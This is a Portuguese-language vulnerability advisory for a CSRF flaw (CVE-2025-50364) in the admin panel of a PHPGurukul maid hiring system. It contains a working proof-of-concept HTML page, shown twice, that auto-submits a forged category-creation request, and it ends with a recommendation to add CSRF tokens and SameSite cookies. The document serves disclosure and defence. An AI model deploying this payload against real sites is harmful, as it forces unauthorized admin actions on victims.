Nome do Projeto e URL do Repositório: Sistema de Gestão de Contratação de Empregadas Domésticas usando PHP e MySQL

Tipo de Vulnerabilidade: Client Side Request Forgery

Versão(ões) Afetada(s): v1.0

💣Descrição da Vulnerabilidade: Existe uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no painel de administração do PHPGurukul Hiring Management System, permitindo que um atacante adicione categorias de contratação arbitrárias ao enganar um administrador autenticado para visitar um site malicioso. Isso pode levar à poluição de dados e alterações não autorizadas em nível de administrador.

👩‍💻Impacto: Criação não autorizada de categorias

🛜Prova de Conceito (PoC)

Existe uma funcionalidade de adicionar categoria onde apenas administradores autenticados podem adicionar categoria.
Código HTML para enviar uma requisição POST para o endpoint /admin/add-category.php CSRF-POC

<html>
  <body>
    <form action="http://127.0.0.1/mhms/admin/add-category.php" method="POST">
      <input type="hidden" name="catname" value="CSRF&#45;POC" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Use o código HTML e crie uma URL maliciosa.
Após o administrador clicar no link, uma nova categoria será adicionada.

Recomendação: Implementar tokens CSRF em formulários de administração, reforçar cookies SameSite e validar a origem da requisição para evitar ações não autorizadas.

<html> <body> <form action="http://127.0.0.1/mhms/admin/add-category.php" method="POST"> <input type="hidden" name="catname" value="CSRF-POC" /> <input type="hidden" name="submit" value="" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

Mais Populares

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

Mais Populares